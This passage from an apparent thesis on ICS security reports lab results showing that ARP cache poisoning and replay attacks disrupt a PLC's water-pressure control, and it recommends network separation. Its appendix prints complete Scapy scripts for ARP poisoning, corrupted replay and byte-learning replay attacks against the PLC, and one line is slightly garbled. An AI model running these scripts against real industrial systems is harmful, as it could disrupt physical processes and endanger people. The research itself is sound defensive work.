ARP cache and continues to route the traffic to both nodes. The connection loss is very brief (only 

a few seconds) but during that time the PLC is not receiving accurate pressure readings, so it does 

not adjust the valve and causes the water to rise momentarily. After reconnecting the PLC gets its 

new pressure reading, which due to the rising water is higher than the set point and opens the valve 

to compensate for the elevated pressure. Shortly thereafter, the process stabilizes and remains 

unaffected by the attack. 

 The testbed and protocols were resilient to the corrupted replay attack. The randomized order 

of corrupted bits resulted in the PLC completely disregarding the corrupted packets and continuing 

with the next valid packet. Since this was a replay attack, the original traffic was still being routed 

and the attack was replaying old traffic with altered portions.  

 

Figure 40. No Effect Observed with ACP against DPT on the subnetted network. 
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Figure 41. MITM Outlier with No Other Effect. 

 

5.6  Chapter Summary 

 In summary, the attacks collectively had little success. Because of their protocol-agnostic 

design, any combination of the attacks had just as much of a chance of failing as they did at 

succeeding. Upon execution only a few are revealed as successful. The ARP cache poison attack 

is most successful, working with all three of the sensors and meeting the metric for success 93.33% 

of the time, or 28 out of 30 executions. The rest of the attacks failed with exception to the intelligent 

replay with a 33% success rate. The intelligent replay only worked when executed against the 

Allen-Bradley sensor it was successful every run.  
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VI. Conclusion 

6.1  Chapter Overview 

 It is seen by the ARP cache poison attack and intelligent replay attack, a process dependent on 

networked sensors introduces a new vector for affecting an industrial controlled process if devices 

and networks are not engineered with security in mind. This chapter summarizes the problem 

statement, contributions, future research, and provides concluding thoughts. 

6.2  Problem Statement Summary 

This research aims to discover how the introduction of IIoT to an ICS system opens the door 

for sets of vulnerabilities which could be common to more than one ICS network. More 

specifically, the goal of this research is to determine if attacks between a PLC and IIoT could be 

performed without knowledge of the supporting industrial protocols. It is hypothesized that due to 

the ease of access from the network, the ICS can be degraded/controlled by attacking the network 

between a PLC and IIoT without knowledge of what industrial protocol is used between the two.  

This hypothesis was marginally supported as revealed by the ARP cache poison attack and one 

of the intelligent replay attacks. These attacks function in such a way that no knowledge of the 

specific protocol was needed to affect the control process between the PLC and the IIoT device. 

The corrupted replay attack also functioned in this manner but the specific protocol and devices 

under attack were resilient to randomized corrupted portions of the packets. The intelligent replay 

was designed to detect what portions of the protocol to attack, choosing bits which changed often 

and manipulating them. In the specific case of the Allen-Bradley sensor, the changing portions of 

the protocol were the sequence numbers and process data. 
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6.3  Research Contributions 

 This research provides validity into furthering research IIoT and ICS integration. The attacks 

performed are only a small fraction of the possibilities opened up through the integration. In 

addition to this, this research gives credence that separation of networks, one network for critical 

devices and one for non-critical devices, is a best practice to maintain or implement if not already.

 In addition to the vulnerabilities explored, the testbed upgrades will allow for further research 

into the growing application of IIoT within ICS 

6.4  Research Limitations and Future Research 

 The research presented here is limited by two factors. The first is that there is only one PLC 

available to test the behavior under stress from the attacks: the Allen-Bradley ControlLogix 1756 

PLC. The assumption is that the network attacks performed would work on any other ICS with 

IIoT devices integrated into its control loop due to their protocol-agnostic design. Further research 

is needed to add validity to that assumption. Second, along the same vein, Ethernet/IP is the only 

industrial protocol available to test the attacks on the testbed. Due to this limitation future research 

could focus on how the attacks performed affect any of the protocols mentioned in Chapter 2. It 

would also be advantageous to research an adjustment to the intelligent replay attack that looks for 

the same type of packet and only adjust the bytes in the packet of the same structure. This could 

increase the success by ensuring only one structure of captured packet is analyzed and 

manipulated. In addition to this, future research could focus on methods which could best secure 

an ICS network which integrates IIoT while not sacrificing performance or monetary resources. 
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6.5  Recommendations for Security 

 It is demonstrated that separation of networks prevents the attacks here. It is likely that it 

prevents a large host of other attacks as long as the networks remain separated. There are other 

best practices which could prevent these attacks such as network intrusion detection and prevention 

systems and firewalls. Segmentation, firewalls, and network intrusion detection and prevention 

systems are best practice for an ICS and will add defense in depth to this new vector of attack. 

6.6  Conclusion 

 With IIoT comes newer possibilities useful to the more efficient management of a controlled 

process; however, this requires an ICS to rely on a network of devices. This evolution in how an 

ICS is designed, changes the attack surface by more than just a one-to-one ratio; as is seen with 

the Allen-Bradley networked sensor suffering from two different protocol-agnostic attacks. All 

three sensors were able to have their communication lines to the PLC disrupted by ARP cache 

poisoning, leading to process faults. These attacks would not work if the sensors were hardwired 

to the PLC as in the legacy network design. Therefore, the attack surface has evolved with the 

reliance on networked smart sensors albeit initially smaller than first hypothesized here.  That said, 

it is not impossible to have such a critical process dependent on a switched network. The network 

setup as seen in the set of experiments that separates the engineering PC from the side of the 

network which has access to the sensors, eliminates the dangers of at least these protocol-agnostic 

network attacks. The solution is a separation of networks; one for critical devices and one for non-

critical.   
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Appendix A – Attack Scripts 

 The following appendix provides the exact Scapy scripts used for each of the attacks. To 

properly run them a user must have at least Scapy 2.3.3 running over Python 2.7.14 or up. The 

scripts can be ran using the command scapy -c <script name.py>. 

ARP Cache Poison Attack 
 
1 def sendOneWayARP(target, victim): 
2  tmac = getmacbyip(target) 
3   p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) 
4  sendp(p, iface_hint=target) 
5  
6 def set_module_ip(): 
7  while(True): 
8   global module, modulemac 
9   module = raw_input("Enter module IP to attack: ") 
10   print("You entered: "+module) 
11   choice = raw_input("If correct press 1, if not press any other key: ") 
12   if(choice == str(1)): 
13    modulemac=getmacbyip(module) 
14    return 
15   else: 
16    continue 
17  
18 plc = '192.168.2.20' 
19 plcmac = getmacbyip(plc) 
20 module, modulemac = '', '' 
21 timespan = 10 
22 broadcastmac = "00:00:00:00:00:00" 
23 set_module_ip() 
24  
25 #wait = raw_input("Press Enter to continue. Timer for attack will commence.") 
26 time.sleep(60*2.5) 
27 stop = time.time()+(60*5) 
28  
29 while(time.time()<stop): 
30  sendOneWayARP(plc, module) 
31  sendOneWayARP(module,plc) 
32  time.sleep(5) 
33  
34 exit() 
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Corrupted Replay 

 
1 #rearps both nodes to remove host computer from in the middle 
2 import copy 
3 def rearp(): 
4  global plcmac,modulemac,module,broadcastmac,plc,timespan 
5  p = Ether(dst=plcmac, src=modulemac)/ARP(op="who-has", psrc=module, 

 hwsrc=modulemac, hwdst=broadcastmac, pdst=plc) 
6  sendp(p, iface_hint=plc) 
7  p = Ether(dst=modulemac, src=plcmac)/ARP(op="who-has", psrc=plc, 

 hwsrc=plcmac, hwdst=broadcastmac, pdst=module) 
8  sendp(p, iface_hint=plc) 
9  time.sleep(timespan) 
10  os.system("/root/intercept_off") 
11  
12 def sendOneWayARP(target, victim): 
13  tmac = getmacbyip(target) 
14  p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) 
15  sendp(p, iface_hint=target) 
16  
17 #this is a traditional arp-cache poison man-in-the-middle attack 
18 def intercept(target, victim): 
19  global sendOneWayARP, timespan, connection_success 
20  for i in range(0,5): 
21   sendOneWayARP(target, victim) 
22   sendOneWayARP(victim, target) 
23   time.sleep(timespan) 
24   if i==1: 
25    os.system("/root/intercept_on") 
26    #time.sleep(timespan) 
27   elif i>=1 and connection_success(victim): 
28    print("Connection Success!!") 
29    break 
30  
31 def set_module_ip(): 
32  while(True): 
33   global module, modulemac 
34   module = raw_input("Enter module IP to attack: ") 
35   print("You entered: "+module) 
36   choice = raw_input("If correct press 1, if not press any other key: ") 
37   if(choice == str(1)): 
38    modulemac=getmacbyip(module) 
39    return 
40   else: 
41    continue 
42  
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43 def replay(stop, percent): 
44  global module, plc, sendOneWayARP, intercept,rearp, timeoutwait 
45  sent=False 
46  i=0 
47  tmp='' 
48  
49  while(time.time()<stop): 
50   i+=1 
51   while(not sent and time.time()<stop): 
52    tmp = sniff(1) 
53    if(tmp[0].haslayer('UDP') and tmp[0].haslayer('Raw') and tmp[0][1].src == 

module): 
54     while(time.time()<stop): 
55      i+=1 
56      if(i%100==0): 
57       print("Maintaining connection...")  
58       sendOneWayARP(plc,module) 
59       sendOneWayARP(module,plc)  
60      p=copy.deepcopy(tmp) 
61      p[0].load = corrupt_bytes(p[0].load, percent) 
62      sendp(p) 
63     sent=True 
64    if(tmp[0].haslayer('UDP') and tmp[0][1].src != module and not sent): 
65     os.system("echo -n .") 
66  
67 def rearp(): 
68  global plcmac,plc,module,modulemac, timespan, broadcastmac 
69  p = Ether(dst=plcmac, src=modulemac)/ARP(op="who-has", psrc=module, 

hwsrc=modulemac, hwdst=broadcastmac, pdst=plc) 
70  sendp(p, iface_hint=plc) 
71  p = Ether(dst=modulemac, src=plcmac)/ARP(op="who-has", psrc=plc, 

hwsrc=plcmac, hwdst=broadcastmac, pdst=module) 
72  sendp(p, iface_hint=plc) 
73  p = Ether(dst=plcmac, src=modulemac)/ARP(op="who-has", psrc=module, 

hwsrc=modulemac, hwdst=broadcastmac, pdst=plc) 
74  sendp(p, iface_hint=plc) 
75  p = Ether(dst=modulemac, src=plcmac)/ARP(op="who-has", psrc=plc, 

hwsrc=plcmac, hwdst=broadcastmac, pdst=module) 
76  sendp(p, iface_hint=plc) 
77  time.sleep(timespan)  
78  2 wqos.system("/root/intercept_off") 
79  
80 def connection_success(ip): 
81  for i in range(0,300): 
82   tmp = sniff(1) 
83   if(tmp[0].haslayer('UDP') and tmp[0][1].src == ip): 
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84    return True 
85  return False 
86  
87 plc = '192.168.2.20' 
88 plcmac = getmacbyip(plc) 
89 module,modulemac="","" 
90 timespan=3 
91 timeoutwait=10 
92 percentageToCorrupt=0.15 
93  
94 broadcastmac = "00:00:00:00:00:00" 
95  
96 set_module_ip() 
97 time.sleep(60*2.5)#this allows the baseline to be measured 
98 stoptime = time.time()+(60*5) 
99 intercept(plc,module) 
100 #time.sleep(5) 
101 replay(stoptime,percentageToCorrupt) 
102 rearp() 
103 exit() 
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Intelligent Replay 
 

1 from copy import deepcopy 
2  
3 def sendOneWayARP(target, victim): 
4  tmac = getmacbyip(target) 
5  p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) 
6  sendp(p, iface_hint=target) 
7  
8 def connection_success(ip): 
9  for i in range(0,300): 
10   tmp = sniff(1) 
11   if(tmp[0].haslayer('UDP') and tmp[0][1].src == ip): 
12    return True 
13  return False 
14  
15 #this is a traditional arp-cache poison man-in-the-middle attack 
16 def intercept(target, victim): 
17  global sendOneWayARP, timespan, connection_success 
18   for i in range(0,10): 
19    sendOneWayARP(target, victim) 
20    sendOneWayARP(victim, target) 
21    time.sleep(timespan) 
22    if i==1: 
23     os.system("/root/intercept_on") 
24    elif i>=1 and connection_success(victim): 
25     print("Connection Success!!") 
26     break 
27  
28 def set_module_ip(): 
29  while(True): 
30   global module, modulemac 
31   module = raw_input("Enter module IP to attack: ") 
32   print("You entered: "+module) 
33   choice = raw_input("If correct press 1, if not press any other key: ") 
34   if(choice == str(1)): 
35    modulemac=getmacbyip(module) 
36    return 
37   else: 
38    continue 
39  
40 def learn(strings): 
41  global compare, learnedBytes 
42  #learnedBytes = set() 
43  if len(strings)<=1: 
44   print("Not enough packets to compare, canceling") 
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45   return [] 
46  for i in range(0,len(strings)): 
47   if i == len(strings)-1: 
48    break 
49   else: 
50    learnedBytes = learnedBytes.union(compare(strings[i],strings[i+1])) 
51  return sorted(learnedBytes) 
52  
53 def compare(string1, string2): 
54  interestingBytes = set() 
55  if(len(string1)!=len(string2)): 
56   return []#return an empty list if the string sizes are not equal 
57  for i in range(0,len(string1)): 
58   if int(string1[i],16)!=int(string2[i],16): 
59    interestingBytes.add(i) 
60  return interestingBytes 
61  
62 def sendCorruptPacket(plc, module): 
63  global learn, deepcopy 
64  lastPacketIndex=0 
65  tmp = sniff(300) 
66  collection = list() 
67  for i in range(0,len(tmp)): 
68   if(tmp[i].haslayer('UDP') and tmp[i].haslayer('Raw') and (tmp[i][1].src == 

module)): 
69    collection.append(tmp[i].load.encode('hex')) 
70    lastPacketIndex=i 
71  
72  bytestoaffect = learn(collection) 
73  print(bytestoaffect) 
74  p = list(tmp[lastPacketIndex].load.encode('hex')) 
75  if(len(bytestoaffect)==0): 
76   print("No UDP packets captured, skipping itteration...") 
77   return 0 
78  for i in range(0,len(bytestoaffect)): 
79   p[bytestoaffect[i]]='f' 
80  
81  p="".join(p) 
82  corrupt = deepcopy(tmp[lastPacketIndex]) 
83  #corrupt.show() 
84  corrupt[0].load = p.decode('hex') 
85  #corrupt.show() 
86  sendp(corrupt) 
87  sendp(corrupt) 
88  
89 plc = '192.168.2.20' 
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90 plcmac = getmacbyip(plc) 
91 module, modulemac = '', '' 
92 timespan = 3 
93 broadcastmac = "00:00:00:00:00:00" 
94 set_module_ip() 
95 learnedBytes = set() 
96  
97 stop = time.time()+(60*7.5) 
98 time.sleep(60*2.5) 
99  
100 intercept(plc,module) 
101 time.sleep(timespan*2) 
102 while(time.time() < stop): 
103  sendCorruptPacket(plc, module) 
104  sendOneWayARP(plc, module) 
105  sendOneWayARP(module, plc) 
106  time.sleep(timespan*2) 
107  print("current: " + str(time.time())+" stop: "+str(stop)) 
108  
109 os.system("/root/intercept_off") 
110 exit()  
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